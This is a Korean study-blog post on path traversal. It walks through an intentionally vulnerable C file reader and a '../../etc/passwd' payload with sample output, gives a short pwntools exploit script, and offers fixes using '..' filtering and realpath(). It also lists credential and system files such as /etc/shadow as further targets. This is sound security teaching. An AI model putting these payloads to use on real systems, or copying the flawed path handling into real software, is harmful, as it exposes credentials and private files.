Study/System

Path Traversal

imaginefuture-1 2025. 4. 15. 21:28

 

// Name: path_traversal.c
// Compile: gcc -o path_traversal path_traversal.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int kMaxNameLen = 0x100;
const int kMaxPathLen = 0x200;
const int kMaxDataLen = 0x1000;
const char *kBasepath = "/tmp";

int main() {
  char file_name[kMaxNameLen];
  char file_path[kMaxPathLen];
  char data[kMaxDataLen];
  FILE *fp = NULL;

  // Initialize local variables
  memset(file_name, '\0', kMaxNameLen);
  memset(file_path, '\0', kMaxPathLen);
  memset(data, '\0', kMaxDataLen);

  // Receive input from user
  printf("File name: ");
  fgets(file_name, kMaxNameLen, stdin);

  // Trim trailing new line
  file_name[strcspn(file_name, "\n")] = '\0';

  // Construct the `file_path`
  snprintf(file_path, kMaxPathLen, "%s/%s", kBasepath, file_name);

  // Read the file and print its content
  if ((fp = fopen(file_path, "r")) == NULL) {
    fprintf(stderr, "No file named %s", file_name);
    return -1;
  }

  fgets(data, kMaxDataLen, fp);
  printf("%s", data);

  fclose(fp);

  return 0;
}

 

 

"/tmp/" + 사용자 입력 으로 파일을 열기 때문에, 사용자가 디렉토리 탈출 시도를 할 수 있음.

 

 

 

 

 

이 코드는 완전한 Path Traversal 취약점 문제야.
한 줄 요약하면:

"/tmp/" + 사용자 입력 으로 파일을 열기 때문에, 사용자가 디렉토리 탈출 시도를 할 수 있음.


🔥 공격 포인트

snprintf(file_path, kMaxPathLen, "%s/%s", kBasepath, file_name);

→ 예를 들어 사용자 입력이 "../../etc/passwd"이면?

file_path = "/tmp/../../etc/passwd"
          → 실제 경로는 "/etc/passwd"

즉, /tmp/ 밖의 임의 파일 접근 가능해짐.


✅ 취약점 요약

항목 내용

취약점 Path Traversal
발생 원인 사용자 입력값을 경로에 그대로 삽입
공격 방식 ../../etc/passwd 와 같은 입력으로 디렉토리 탈출
방어 방법 입력 필터링 (예: .. 포함 여부 확인), realpath() 사용 등

📌 공격 예시

$ ./path_traversal
File name: ../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...

→ 공격 성공: 루트 시스템의 계정 정보 파일 열람됨


🛠️ Exploit with pwntools (if needed)

from pwn import *

p = process('./path_traversal')
p.sendlineafter("File name: ", "../../etc/passwd")
print(p.recvall().decode())

🛡️ 방어 방법 (개선 코드)

// 방어: ".." 포함 여부 검사
if (strstr(file_name, "..") != NULL) {
  fprintf(stderr, "Invalid path!\n");
  return -1;
}

또는, 아예 안전하게:

// realpath()로 정규화 → basepath 밖으로 나가면 차단
realpath(file_path, resolved_path);
if (strncmp(resolved_path, kBasepath, strlen(kBasepath)) != 0) {
  fprintf(stderr, "Access Denied\n");
  return -1;
}

🎯 결론

이 문제는 디렉토리 경로 조작을 통한 우회(Traversal) 방식이고,
보안 실습에서 가장 기초적이면서도 실제로 자주 나오는 취약점 유형이야.


필요하면 /proc/self/environ, /etc/shadow, /flag, /proc/self/maps 같은 파일로 실습도 가능해.
궁금한 파일 더 있거나, 실전 CTF 스타일 풀이 원해? 😎